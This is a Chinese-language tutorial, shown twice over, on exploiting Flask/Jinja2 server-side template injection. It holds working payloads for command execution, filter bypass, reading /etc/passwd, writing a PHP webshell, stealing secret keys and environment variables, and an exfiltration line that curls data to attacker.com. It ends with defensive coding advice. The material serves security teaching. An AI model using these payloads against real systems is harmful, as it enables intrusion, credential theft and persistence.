1. 项目概述从“背”到“懂”的SSTI攻防思维跃迁每次看到新手在复现Flask/Jinja2 SSTI服务器端模板注入漏洞时对着网上流传的Payload列表一通“复制粘贴”我就知道他们离真正理解这个漏洞还差得很远。那些形如{{.__class__.__mro__[1].__subclasses__()}}的字符串对他们而言更像是一串需要记忆的“魔法咒语”知其然而不知其所以然。一旦遇到WAF过滤、沙箱限制或者框架版本更新这些死记硬背的Payload很可能瞬间失效让人束手无策。这个项目的核心就是要彻底打破这种“背诵流”的困境。我们不再满足于记住几个能弹出计算器或读取文件的Payload。我们要做的是拿起“手术刀”深入Python和Jinja2模板引擎的运行时环境沿着对象的继承链Inheritance Chain一路溯源并理解那些关键时刻能扭转乾坤的“魔术方法”Magic Methods。这就像给你一张Python对象宇宙的“寻宝图”和一套“万能钥匙”让你不仅能找到已知的宝藏利用链还能在全新的、复杂的迷宫中自己探索出道路。无论你是安全研究员、渗透测试工程师还是对Flask框架安全感兴趣的开发者掌握这套方法论都将让你在面对SSTI时从被动应对变为主动构造从模糊猜测变为精准打击。2. 核心原理Python对象宇宙与Jinja2的沙箱舞台要玩转SSTI我们必须先搭建起两个核心舞台Python的对象模型与Jinja2的模板渲染机制。不理解它们所有的Payload都只是无根之木。2.1 Python对象继承链一切皆对象的寻祖之旅Python奉行“一切皆对象”的哲学。这意味着一个数字、一个字符串、一个函数、一个类甚至一个模块在Python内部都是一个对象Object。每个对象都通过一个名为__class__的属性指向创建它的类Class。而类本身也是对象是type类的实例。这种关系构成了一个清晰的层级结构。继承链的爬升路径实例 - 类通过实例.__class__我们可以找到这个实例所属的类。类 - 父类通过类.__bases__或类.__mro__Method Resolution Order方法解析顺序我们可以找到这个类的直接父类或整个继承链。__mro__是一个元组按顺序列出了从当前类到顶层基类object的查找路径。类 - 子类通过类.__subclasses__()方法我们可以获取当前类的所有直接子类列表。这是一个极其关键的跳板因为它允许我们从任何一个已知的类“跳跃”到大量其他可能包含危险方法的类。举个例子我们从空字符串开始# 这是一个字符串实例 obj # 它的类是 str cls obj.__class__ # class str # str类的父类是 object parent cls.__bases__[0] # class object # 获取object的所有子类这是一个非常庞大的列表 all_subclasses parent.__subclasses__()通过__subclasses__()我们可以访问到Python运行时环境中加载的几乎所有类比如os._wrap_close、subprocess.Popen、warnings.catch_warnings等这些类中可能包含着执行命令、读写文件的方法。2.2 魔术方法对象的“后台通行证”魔术方法是以双下划线开头和结尾的特殊方法如__init__、__str__、__getitem__。它们是Python丰富语法的实现基础。在SSTI利用中有几个魔术方法扮演着“通行证”或“触发器”的角色__globals__这是函数对象特有的属性。它返回一个字典代表了该函数定义时所在的全局命名空间。如果一个函数是在某个模块内定义的那么通过函数.__globals__我们就可以访问到该模块下的所有全局变量、导入的模块等。这是从一个受限的函数对象获取到强大模块如os、sys的关键桥梁。__builtins__或__builtin____globals__字典中通常会包含一个指向内建函数和异常对象的引用即__builtins__。它提供了最基础的函数如__import__、eval、exec、open等。在沙箱逃逸中获取__builtins__往往是第一步。__getitem__和__getattr__当使用obj[key]或getattr(obj, ‘attr‘)时实际上会调用这些方法。在Jinja2中点号.属性访问和方括号[]属性访问有时可以互相替代或绕过过滤其底层就与这些魔术方法有关。2.3 Jinja2模板引擎沙箱与注入点Jinja2是一个功能强大的模板引擎它允许在HTML等文本中嵌入动态的Python表达式使用{{ ... }}语法。为了安全Jinja2设计了一个沙箱环境理论上应该隔离危险的函数和模块。SSTI漏洞的产生根本原因是开发错误地将用户输入直接拼接进了模板字符串然后交给了Jinja2渲染。例如from flask import Flask, request, render_template_string app Flask(__name__) app.errorhandler(404) def page_not_found(e): template ‘h1Not Found/h1pThe URL %s was not found./p‘ % request.url # 危险直接拼接 return render_template_string(template), 404当用户访问一个不存在的路径如http://target.com/{{7*7}}request.url就包含了{{7*7}}它被直接拼接到模板中。Jinja2在渲染时会忠实地执行{{7*7}}输出49。这就意味着攻击者注入的模板语法被成功解析沙箱的边界被突破。注意并非所有将变量传入模板都不安全。使用render_template函数并正确传递上下文变量如render_template(‘index.html‘, nameusername)是安全的因为Jinja2会将name作为变量值处理而不会将其内容作为模板语法解析。危险的是render_template_string与字符串拼接的组合。3. 利用链手工构造从零开始“考古”与“锻造”理解了原理我们开始实战。假设我们面对一个没有任何过滤的SSTI注入点{{injection}}目标是执行系统命令。我们将一步步手工构造利用链而不是直接使用现成Payload。3.1 第一步信息收集与环境侦察首先我们需要了解我们身处怎样的Python/Jinja2环境。{{config}}查看Flask应用的配置信息有时能发现密钥、调试模式等。{{request}}访问Flask的request对象其__class__可以开启继承链。{{”.__class__}}或{{[].__class__}}从简单的内置对象开始探索。通常字符串或列表[]是最常用的起点因为它们肯定存在。我们选择字符串{{.__class__}}。输出会是class ‘str‘。很好我们找到了str类。3.2 第二步溯祖寻根定位万物之源我们需要找到object基类因为它的子类最多。{{.__class__.__mro__}}查看str的方法解析顺序。输出类似(class ‘str‘, class ‘object‘)。我们看到str的直接父类就是object。{{.__class__.__mro__[1]}}通过索引获取object类。[1]是因为元组索引从0开始0是str1是object。现在我们手握了object类。3.3 第三步遍历子类寻找“武器库”这是最关键的一步我们需要从object的数百个子类中找到那些包含有用方法的类。{{.__class__.__mro__[1].__subclasses__()}}这会输出一个巨大的列表。在浏览器中可能显示不全但在终端或通过盲注可以处理。我们需要在这个列表中搜索。常见的危险类有class ‘os._wrap_close‘通过它可以获取os模块。class ‘subprocess.Popen‘可以直接执行命令。class ‘warnings.catch_warnings‘其__init__函数的__globals__里通常包含sys、os等模块。class ‘_frozen_importlib.BuiltinImporter‘或class ‘_frozen_importlib_external.FileFinder‘与模块导入相关。如何找到它们在列表中的索引在没有完整回显的情况下需要构造Payload进行搜索。例如我们想找Popen{{.__class__.__mro__[1].__subclasses__()[X]}}我们需要遍历X比如从0到500直到返回的类名包含Popen。可以配合Jinja2的循环语法如果可用或使用Burp Suite的Intruder进行爆破。假设我们爆破发现索引258是class ‘subprocess.Popen‘。3.4 第四步调用方法实现命令执行找到Popen类后我们需要调用它来执行命令。Popen是一个类需要实例化。{{.__class__.__mro__[1].__subclasses__()[258](‘whoami‘, shellTrue, stdout-1).communicate()[0]}}258Popen类的索引。(‘whoami‘, shellTrue, stdout-1)实例化Popen执行whoami命令。.communicate()[0]获取命令执行的输出。如果Popen被过滤或不存在我们可以寻找os._wrap_close假设索引是117先获取这个类{{.__class__.__mro__[1].__subclasses__()[117]}}这个类本身可能没用但它的实例的__init__方法有__globals__{{.__class__.__mro__[1].__subclasses__()[117].__init__}}通过__globals__获取os模块{{.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[‘os‘]}}调用os模块的方法{{.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[‘os‘].popen(‘whoami‘).read()}}3.5 一个完整的、手工推导的Payload示例假设我们通过侦察得知warnings.catch_warnings在索引59并且其__globals__包含sys和os。构造思路起点空字符串找类.__class__-class ‘str‘找父类str.__mro__[1]-class ‘object‘找子类object.__subclasses__()[59]-class ‘warnings.catch_warnings‘找初始化函数catch_warnings.__init__获取全局命名空间__init__.__globals__从中取出os模块__globals__[‘os‘]调用popen执行命令并读取.popen(‘id‘).read()最终Payload{{.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__[‘os‘].popen(‘id‘).read()}}这个过程就是一次完整的手工“锻造”。你不再需要记忆整个字符串只需要记住这个“寻路逻辑”实例-类-父类(object)-遍历子类-寻找包含__globals__的函数-获取os/sys等模块-执行命令/读写文件。4. 高级绕过技巧当标准链路上布满荆棘在实际的漏洞利用或CTF比赛中直接使用上述Payload几乎肯定会失败因为WAF和安全开发者的过滤无处不在。这时就需要运用我们对Python和Jinja2的深入理解进行绕过了。4.1 字符串拼接与编码绕过如果过滤了“class“、“mro“等关键词可以尝试字符串拼接Jinja2支持使用~进行字符串拼接或直接使用加法如果没被过滤。{{[“__cla“~“ss__“]}}等价于{{.__class__}}{{(‘__cla‘,‘ss__‘)|join}}或{{[‘__cla‘,‘ss__‘]|join}}利用join过滤器。编码尝试URL编码、十六进制编码等。Jinja2在渲染前可能会解码。{{[“\x5f\x5fclass\x5f\x5f“]}}\x5f是下划线_的十六进制属性访问替代使用[]代替.。obj.__class__可以写成obj[“__class__“]。这可以绕过一些简单的基于.的过滤。4.2 利用其他内置对象与属性不一定非要从开始。任何已知的内置对象都可以作为起点requestFlask的请求对象属性丰富。{{request.__class__}}configFlask配置对象。{{config.__class__}}self在模板中self指向当前的Template对象它也有__class__。namespace对象Jinja2内置的如lipsum、range、dict、cycler等。{{dict.__class__}}4.3 利用过滤器Filters与全局函数Jinja2提供了丰富的过滤器和全局函数它们本身也是对象可以成为利用链的起点。map、select、reject过滤器它们接受一个函数作为参数。如果能找到一个返回危险函数的途径就可以利用。url_for、get_flashed_messages等全局函数{{url_for.__globals__}}可能会指向Flask应用的核心上下文其中包含current_app等对象。|attr过滤器这是一个极其强大的过滤器它可以直接获取对象的属性。当点号被过滤时它是完美的替代品。原Payload{{.__class__}}绕过后{{|attr(“__class__“)}}甚至可以链式调用{{|attr(“__class__“)|attr(“__mro__“)|attr(“__getitem__“)(1)|attr(“__subclasses__“)()}}4.4 利用Python特性进行无字符或数字构造在极端过滤下可能需要构造没有明显字母数字的Payload。数字构造{{[]|length}}0{{‘a‘|length}}1通过运算得到其他数字{{‘aaa‘|length}}3{{(‘aa‘,‘aaaa‘)|join|length}}6字符串构造从已知对象中提取字符{{request.__class__.__name__[0]}}‘B‘(如果request类是class ‘werkzeug.local.LocalProxy‘其__name__可能是‘LocalProxy‘取第0个字符)。使用特殊属性{{().__doc__}}会返回一个包含大量字母的文档字符串。使用chr函数配合数字构造前提是能获取到__builtins__或chr。{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[‘__builtins__‘][‘chr‘](97)}}得到‘a‘。4.5 一个综合绕过示例假设环境过滤了“class“、“mro“、“subclasses“、“globals“、“os“、“popen“等关键词并且禁用了点号.。目标依然执行命令。思路使用|attr过滤器代替点号。使用字符串拼接和编码绕过关键词过滤。寻找__builtins__中的__import__来导入os因为“os“被过滤。使用__builtins__中的eval或exec执行更复杂的代码如果可用。构造过程概念性获取object类{{|attr(“\x5f\x5fcla\x73\x73\x5f\x5f“)|attr(“\x5f\x5fmro\x5f\x5f“)|attr(“__getitem__“)(1)}}。这里用十六进制绕过了“class“和“mro“。获取子类列表|attr(“\x5f\x5f\x73ubcla\x73\x73e\x73\x5f\x5f“)()。绕过“subclasses“。假设找到索引X的类其__init__.__globals__包含__builtins__。获取__builtins__|attr(“__init__“)|attr(“\x5f\x5fglobals\x5f\x5f“)|attr(“__getitem__“)(“__builtins__“)。从__builtins__中获取__import__|attr(“__getitem__“)(“__import__“)。导入os模块用字符串拼接{{...(__import__)(“o““s“)}}。调用system方法.system(“id“)。这个Payload会非常长且复杂但原理是相通的。关键在于灵活组合各种绕过技巧。5. 实战场景与深度利用不止于命令执行SSTI的利用远不止执行系统命令。深入理解对象链可以让我们实现更隐蔽、更持久的攻击。5.1 文件读写与目录遍历读取文件在获取__builtins__后可以使用open函数。{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__[‘__builtins__‘][‘open‘](‘/etc/passwd‘).read()}}写入文件写Webshell这是获取服务器权限的常见手段。{{...__globals__[‘__builtins__‘][‘open‘](‘/var/www/html/shell.php‘,‘w‘).write(‘?php eval($_POST[cmd]);?‘)}}需要知道网站的绝对路径可以通过读取Flask配置文件如config[‘DEBUG‘]、报错信息或遍历目录来获取。目录遍历利用os模块的listdir、walk等函数。5.2 内存中的信息窃取窃取Flask密钥Flask的config对象中可能存有SECRET_KEY用于签名Session等。一旦获取可以伪造Session可能直接提升权限。{{config}}或{{config.SECRET_KEY}}窃取环境变量os.environ包含了系统的环境变量可能泄露数据库密码、API密钥等敏感信息。{{...__globals__[‘os‘].environ}}窃取进程信息psutil模块如果被导入可以用来查看其他进程信息。5.3 作为跳板进行内网横向移动如果目标服务器处于内网SSTI可以成为一个绝佳的跳板。信息收集通过执行ifconfig、ip addr、netstat -antp、arp -a等命令探测内网网段和存活主机。下载代理工具利用curl、wget或Python的urllib从外网下载轻量级代理工具如reGeorg的jsp/py版本。建立隧道执行下载的代理脚本在目标服务器上开启一个端口通过HTTP/HTTPS隧道将内网流量转发出来。5.4 对抗WAF与动态沙箱高级的防御可能包括基于语义的WAF和动态沙箱在受限环境中执行模板。延迟执行与盲注如果命令执行没有回显可以使用盲注技术。例如使用sleep命令判断条件是否成立或者将命令结果通过DNS、HTTP请求外带。{{...os.popen(‘curl http://attacker.com/‘$(whoami)‘.txt‘).read()}}将whoami的结果外带到攻击者服务器混淆与变形将Payload进行复杂的字符串变换、编码、拆分绕过静态规则匹配。利用冷门子类WAF的规则库往往关注常见的危险类如Popen、os._wrap_close。深入研究object.__subclasses__()列表可能会发现一些冷门但同样有效的类它们的方法可以间接达到目的。6. 防御之道开发者视角下的安全实践理解了攻击才能更好地防御。作为开发者必须杜绝SSTI。绝对禁止用户输入直接进入模板字符串这是铁律。永远不要使用字符串格式化%、.format()、f-string或简单拼接来生成将要被render_template_string渲染的内容。坚持使用安全的渲染方式使用render_template函数并通过关键字参数传递动态数据。Jinja2会安全地处理这些变量。错误示例render_template_string(‘Hello ‘ username)正确示例render_template(‘greeting.html‘, nameusername)启用Jinja2沙箱如果必须使用动态模板对于少数需要动态生成模板的高级场景使用jinja2.sandbox.SandboxedEnvironment。它会严格限制可访问的对象和方法但请注意沙箱并非绝对安全历史上也存在过逃逸漏洞。严格的输入验证与过滤如果某些场景下用户输入必须影响模板结构应尽量避免则必须进行严格的白名单过滤。只允许特定的、安全的字符或单词出现。代码审计与依赖检查定期审计代码特别是错误处理页面、邮件模板、报告生成等容易被忽略的地方。同时保持Flask、Jinja2及相关依赖库更新至最新版本以修复已知的安全漏洞。WAF作为最后防线在应用层部署WAF配置规则过滤常见的SSTI Payload模式。但切记WAF可以被绕过它不能替代安全的编码实践。从死记硬背Payload到深入理解对象继承链与魔术方法这不仅是知识的深化更是思维的转变。它让你从漏洞的“利用者”变成了“研究者”和“创造者”。下次再遇到SSTI希望你的第一反应不再是去搜索Payload而是静下心来思考“在这个Python运行时里我该如何从眼前这个有限的起点一步步探索最终构建出通往目标的桥梁”这个过程充满挑战但也正是安全技术的魅力所在。
深入理解SSTI漏洞:从Python对象继承链到Jinja2沙箱逃逸实战
发布时间:2026/7/1 6:51:20
1. 项目概述从“背”到“懂”的SSTI攻防思维跃迁每次看到新手在复现Flask/Jinja2 SSTI服务器端模板注入漏洞时对着网上流传的Payload列表一通“复制粘贴”我就知道他们离真正理解这个漏洞还差得很远。那些形如{{.__class__.__mro__[1].__subclasses__()}}的字符串对他们而言更像是一串需要记忆的“魔法咒语”知其然而不知其所以然。一旦遇到WAF过滤、沙箱限制或者框架版本更新这些死记硬背的Payload很可能瞬间失效让人束手无策。这个项目的核心就是要彻底打破这种“背诵流”的困境。我们不再满足于记住几个能弹出计算器或读取文件的Payload。我们要做的是拿起“手术刀”深入Python和Jinja2模板引擎的运行时环境沿着对象的继承链Inheritance Chain一路溯源并理解那些关键时刻能扭转乾坤的“魔术方法”Magic Methods。这就像给你一张Python对象宇宙的“寻宝图”和一套“万能钥匙”让你不仅能找到已知的宝藏利用链还能在全新的、复杂的迷宫中自己探索出道路。无论你是安全研究员、渗透测试工程师还是对Flask框架安全感兴趣的开发者掌握这套方法论都将让你在面对SSTI时从被动应对变为主动构造从模糊猜测变为精准打击。2. 核心原理Python对象宇宙与Jinja2的沙箱舞台要玩转SSTI我们必须先搭建起两个核心舞台Python的对象模型与Jinja2的模板渲染机制。不理解它们所有的Payload都只是无根之木。2.1 Python对象继承链一切皆对象的寻祖之旅Python奉行“一切皆对象”的哲学。这意味着一个数字、一个字符串、一个函数、一个类甚至一个模块在Python内部都是一个对象Object。每个对象都通过一个名为__class__的属性指向创建它的类Class。而类本身也是对象是type类的实例。这种关系构成了一个清晰的层级结构。继承链的爬升路径实例 - 类通过实例.__class__我们可以找到这个实例所属的类。类 - 父类通过类.__bases__或类.__mro__Method Resolution Order方法解析顺序我们可以找到这个类的直接父类或整个继承链。__mro__是一个元组按顺序列出了从当前类到顶层基类object的查找路径。类 - 子类通过类.__subclasses__()方法我们可以获取当前类的所有直接子类列表。这是一个极其关键的跳板因为它允许我们从任何一个已知的类“跳跃”到大量其他可能包含危险方法的类。举个例子我们从空字符串开始# 这是一个字符串实例 obj # 它的类是 str cls obj.__class__ # class str # str类的父类是 object parent cls.__bases__[0] # class object # 获取object的所有子类这是一个非常庞大的列表 all_subclasses parent.__subclasses__()通过__subclasses__()我们可以访问到Python运行时环境中加载的几乎所有类比如os._wrap_close、subprocess.Popen、warnings.catch_warnings等这些类中可能包含着执行命令、读写文件的方法。2.2 魔术方法对象的“后台通行证”魔术方法是以双下划线开头和结尾的特殊方法如__init__、__str__、__getitem__。它们是Python丰富语法的实现基础。在SSTI利用中有几个魔术方法扮演着“通行证”或“触发器”的角色__globals__这是函数对象特有的属性。它返回一个字典代表了该函数定义时所在的全局命名空间。如果一个函数是在某个模块内定义的那么通过函数.__globals__我们就可以访问到该模块下的所有全局变量、导入的模块等。这是从一个受限的函数对象获取到强大模块如os、sys的关键桥梁。__builtins__或__builtin____globals__字典中通常会包含一个指向内建函数和异常对象的引用即__builtins__。它提供了最基础的函数如__import__、eval、exec、open等。在沙箱逃逸中获取__builtins__往往是第一步。__getitem__和__getattr__当使用obj[key]或getattr(obj, ‘attr‘)时实际上会调用这些方法。在Jinja2中点号.属性访问和方括号[]属性访问有时可以互相替代或绕过过滤其底层就与这些魔术方法有关。2.3 Jinja2模板引擎沙箱与注入点Jinja2是一个功能强大的模板引擎它允许在HTML等文本中嵌入动态的Python表达式使用{{ ... }}语法。为了安全Jinja2设计了一个沙箱环境理论上应该隔离危险的函数和模块。SSTI漏洞的产生根本原因是开发错误地将用户输入直接拼接进了模板字符串然后交给了Jinja2渲染。例如from flask import Flask, request, render_template_string app Flask(__name__) app.errorhandler(404) def page_not_found(e): template ‘h1Not Found/h1pThe URL %s was not found./p‘ % request.url # 危险直接拼接 return render_template_string(template), 404当用户访问一个不存在的路径如http://target.com/{{7*7}}request.url就包含了{{7*7}}它被直接拼接到模板中。Jinja2在渲染时会忠实地执行{{7*7}}输出49。这就意味着攻击者注入的模板语法被成功解析沙箱的边界被突破。注意并非所有将变量传入模板都不安全。使用render_template函数并正确传递上下文变量如render_template(‘index.html‘, nameusername)是安全的因为Jinja2会将name作为变量值处理而不会将其内容作为模板语法解析。危险的是render_template_string与字符串拼接的组合。3. 利用链手工构造从零开始“考古”与“锻造”理解了原理我们开始实战。假设我们面对一个没有任何过滤的SSTI注入点{{injection}}目标是执行系统命令。我们将一步步手工构造利用链而不是直接使用现成Payload。3.1 第一步信息收集与环境侦察首先我们需要了解我们身处怎样的Python/Jinja2环境。{{config}}查看Flask应用的配置信息有时能发现密钥、调试模式等。{{request}}访问Flask的request对象其__class__可以开启继承链。{{”.__class__}}或{{[].__class__}}从简单的内置对象开始探索。通常字符串或列表[]是最常用的起点因为它们肯定存在。我们选择字符串{{.__class__}}。输出会是class ‘str‘。很好我们找到了str类。3.2 第二步溯祖寻根定位万物之源我们需要找到object基类因为它的子类最多。{{.__class__.__mro__}}查看str的方法解析顺序。输出类似(class ‘str‘, class ‘object‘)。我们看到str的直接父类就是object。{{.__class__.__mro__[1]}}通过索引获取object类。[1]是因为元组索引从0开始0是str1是object。现在我们手握了object类。3.3 第三步遍历子类寻找“武器库”这是最关键的一步我们需要从object的数百个子类中找到那些包含有用方法的类。{{.__class__.__mro__[1].__subclasses__()}}这会输出一个巨大的列表。在浏览器中可能显示不全但在终端或通过盲注可以处理。我们需要在这个列表中搜索。常见的危险类有class ‘os._wrap_close‘通过它可以获取os模块。class ‘subprocess.Popen‘可以直接执行命令。class ‘warnings.catch_warnings‘其__init__函数的__globals__里通常包含sys、os等模块。class ‘_frozen_importlib.BuiltinImporter‘或class ‘_frozen_importlib_external.FileFinder‘与模块导入相关。如何找到它们在列表中的索引在没有完整回显的情况下需要构造Payload进行搜索。例如我们想找Popen{{.__class__.__mro__[1].__subclasses__()[X]}}我们需要遍历X比如从0到500直到返回的类名包含Popen。可以配合Jinja2的循环语法如果可用或使用Burp Suite的Intruder进行爆破。假设我们爆破发现索引258是class ‘subprocess.Popen‘。3.4 第四步调用方法实现命令执行找到Popen类后我们需要调用它来执行命令。Popen是一个类需要实例化。{{.__class__.__mro__[1].__subclasses__()[258](‘whoami‘, shellTrue, stdout-1).communicate()[0]}}258Popen类的索引。(‘whoami‘, shellTrue, stdout-1)实例化Popen执行whoami命令。.communicate()[0]获取命令执行的输出。如果Popen被过滤或不存在我们可以寻找os._wrap_close假设索引是117先获取这个类{{.__class__.__mro__[1].__subclasses__()[117]}}这个类本身可能没用但它的实例的__init__方法有__globals__{{.__class__.__mro__[1].__subclasses__()[117].__init__}}通过__globals__获取os模块{{.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[‘os‘]}}调用os模块的方法{{.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__[‘os‘].popen(‘whoami‘).read()}}3.5 一个完整的、手工推导的Payload示例假设我们通过侦察得知warnings.catch_warnings在索引59并且其__globals__包含sys和os。构造思路起点空字符串找类.__class__-class ‘str‘找父类str.__mro__[1]-class ‘object‘找子类object.__subclasses__()[59]-class ‘warnings.catch_warnings‘找初始化函数catch_warnings.__init__获取全局命名空间__init__.__globals__从中取出os模块__globals__[‘os‘]调用popen执行命令并读取.popen(‘id‘).read()最终Payload{{.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__[‘os‘].popen(‘id‘).read()}}这个过程就是一次完整的手工“锻造”。你不再需要记忆整个字符串只需要记住这个“寻路逻辑”实例-类-父类(object)-遍历子类-寻找包含__globals__的函数-获取os/sys等模块-执行命令/读写文件。4. 高级绕过技巧当标准链路上布满荆棘在实际的漏洞利用或CTF比赛中直接使用上述Payload几乎肯定会失败因为WAF和安全开发者的过滤无处不在。这时就需要运用我们对Python和Jinja2的深入理解进行绕过了。4.1 字符串拼接与编码绕过如果过滤了“class“、“mro“等关键词可以尝试字符串拼接Jinja2支持使用~进行字符串拼接或直接使用加法如果没被过滤。{{[“__cla“~“ss__“]}}等价于{{.__class__}}{{(‘__cla‘,‘ss__‘)|join}}或{{[‘__cla‘,‘ss__‘]|join}}利用join过滤器。编码尝试URL编码、十六进制编码等。Jinja2在渲染前可能会解码。{{[“\x5f\x5fclass\x5f\x5f“]}}\x5f是下划线_的十六进制属性访问替代使用[]代替.。obj.__class__可以写成obj[“__class__“]。这可以绕过一些简单的基于.的过滤。4.2 利用其他内置对象与属性不一定非要从开始。任何已知的内置对象都可以作为起点requestFlask的请求对象属性丰富。{{request.__class__}}configFlask配置对象。{{config.__class__}}self在模板中self指向当前的Template对象它也有__class__。namespace对象Jinja2内置的如lipsum、range、dict、cycler等。{{dict.__class__}}4.3 利用过滤器Filters与全局函数Jinja2提供了丰富的过滤器和全局函数它们本身也是对象可以成为利用链的起点。map、select、reject过滤器它们接受一个函数作为参数。如果能找到一个返回危险函数的途径就可以利用。url_for、get_flashed_messages等全局函数{{url_for.__globals__}}可能会指向Flask应用的核心上下文其中包含current_app等对象。|attr过滤器这是一个极其强大的过滤器它可以直接获取对象的属性。当点号被过滤时它是完美的替代品。原Payload{{.__class__}}绕过后{{|attr(“__class__“)}}甚至可以链式调用{{|attr(“__class__“)|attr(“__mro__“)|attr(“__getitem__“)(1)|attr(“__subclasses__“)()}}4.4 利用Python特性进行无字符或数字构造在极端过滤下可能需要构造没有明显字母数字的Payload。数字构造{{[]|length}}0{{‘a‘|length}}1通过运算得到其他数字{{‘aaa‘|length}}3{{(‘aa‘,‘aaaa‘)|join|length}}6字符串构造从已知对象中提取字符{{request.__class__.__name__[0]}}‘B‘(如果request类是class ‘werkzeug.local.LocalProxy‘其__name__可能是‘LocalProxy‘取第0个字符)。使用特殊属性{{().__doc__}}会返回一个包含大量字母的文档字符串。使用chr函数配合数字构造前提是能获取到__builtins__或chr。{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__[‘__builtins__‘][‘chr‘](97)}}得到‘a‘。4.5 一个综合绕过示例假设环境过滤了“class“、“mro“、“subclasses“、“globals“、“os“、“popen“等关键词并且禁用了点号.。目标依然执行命令。思路使用|attr过滤器代替点号。使用字符串拼接和编码绕过关键词过滤。寻找__builtins__中的__import__来导入os因为“os“被过滤。使用__builtins__中的eval或exec执行更复杂的代码如果可用。构造过程概念性获取object类{{|attr(“\x5f\x5fcla\x73\x73\x5f\x5f“)|attr(“\x5f\x5fmro\x5f\x5f“)|attr(“__getitem__“)(1)}}。这里用十六进制绕过了“class“和“mro“。获取子类列表|attr(“\x5f\x5f\x73ubcla\x73\x73e\x73\x5f\x5f“)()。绕过“subclasses“。假设找到索引X的类其__init__.__globals__包含__builtins__。获取__builtins__|attr(“__init__“)|attr(“\x5f\x5fglobals\x5f\x5f“)|attr(“__getitem__“)(“__builtins__“)。从__builtins__中获取__import__|attr(“__getitem__“)(“__import__“)。导入os模块用字符串拼接{{...(__import__)(“o““s“)}}。调用system方法.system(“id“)。这个Payload会非常长且复杂但原理是相通的。关键在于灵活组合各种绕过技巧。5. 实战场景与深度利用不止于命令执行SSTI的利用远不止执行系统命令。深入理解对象链可以让我们实现更隐蔽、更持久的攻击。5.1 文件读写与目录遍历读取文件在获取__builtins__后可以使用open函数。{{().__class__.__bases__[0].__subclasses__()[X].__init__.__globals__[‘__builtins__‘][‘open‘](‘/etc/passwd‘).read()}}写入文件写Webshell这是获取服务器权限的常见手段。{{...__globals__[‘__builtins__‘][‘open‘](‘/var/www/html/shell.php‘,‘w‘).write(‘?php eval($_POST[cmd]);?‘)}}需要知道网站的绝对路径可以通过读取Flask配置文件如config[‘DEBUG‘]、报错信息或遍历目录来获取。目录遍历利用os模块的listdir、walk等函数。5.2 内存中的信息窃取窃取Flask密钥Flask的config对象中可能存有SECRET_KEY用于签名Session等。一旦获取可以伪造Session可能直接提升权限。{{config}}或{{config.SECRET_KEY}}窃取环境变量os.environ包含了系统的环境变量可能泄露数据库密码、API密钥等敏感信息。{{...__globals__[‘os‘].environ}}窃取进程信息psutil模块如果被导入可以用来查看其他进程信息。5.3 作为跳板进行内网横向移动如果目标服务器处于内网SSTI可以成为一个绝佳的跳板。信息收集通过执行ifconfig、ip addr、netstat -antp、arp -a等命令探测内网网段和存活主机。下载代理工具利用curl、wget或Python的urllib从外网下载轻量级代理工具如reGeorg的jsp/py版本。建立隧道执行下载的代理脚本在目标服务器上开启一个端口通过HTTP/HTTPS隧道将内网流量转发出来。5.4 对抗WAF与动态沙箱高级的防御可能包括基于语义的WAF和动态沙箱在受限环境中执行模板。延迟执行与盲注如果命令执行没有回显可以使用盲注技术。例如使用sleep命令判断条件是否成立或者将命令结果通过DNS、HTTP请求外带。{{...os.popen(‘curl http://attacker.com/‘$(whoami)‘.txt‘).read()}}将whoami的结果外带到攻击者服务器混淆与变形将Payload进行复杂的字符串变换、编码、拆分绕过静态规则匹配。利用冷门子类WAF的规则库往往关注常见的危险类如Popen、os._wrap_close。深入研究object.__subclasses__()列表可能会发现一些冷门但同样有效的类它们的方法可以间接达到目的。6. 防御之道开发者视角下的安全实践理解了攻击才能更好地防御。作为开发者必须杜绝SSTI。绝对禁止用户输入直接进入模板字符串这是铁律。永远不要使用字符串格式化%、.format()、f-string或简单拼接来生成将要被render_template_string渲染的内容。坚持使用安全的渲染方式使用render_template函数并通过关键字参数传递动态数据。Jinja2会安全地处理这些变量。错误示例render_template_string(‘Hello ‘ username)正确示例render_template(‘greeting.html‘, nameusername)启用Jinja2沙箱如果必须使用动态模板对于少数需要动态生成模板的高级场景使用jinja2.sandbox.SandboxedEnvironment。它会严格限制可访问的对象和方法但请注意沙箱并非绝对安全历史上也存在过逃逸漏洞。严格的输入验证与过滤如果某些场景下用户输入必须影响模板结构应尽量避免则必须进行严格的白名单过滤。只允许特定的、安全的字符或单词出现。代码审计与依赖检查定期审计代码特别是错误处理页面、邮件模板、报告生成等容易被忽略的地方。同时保持Flask、Jinja2及相关依赖库更新至最新版本以修复已知的安全漏洞。WAF作为最后防线在应用层部署WAF配置规则过滤常见的SSTI Payload模式。但切记WAF可以被绕过它不能替代安全的编码实践。从死记硬背Payload到深入理解对象继承链与魔术方法这不仅是知识的深化更是思维的转变。它让你从漏洞的“利用者”变成了“研究者”和“创造者”。下次再遇到SSTI希望你的第一反应不再是去搜索Payload而是静下心来思考“在这个Python运行时里我该如何从眼前这个有限的起点一步步探索最终构建出通往目标的桥梁”这个过程充满挑战但也正是安全技术的魅力所在。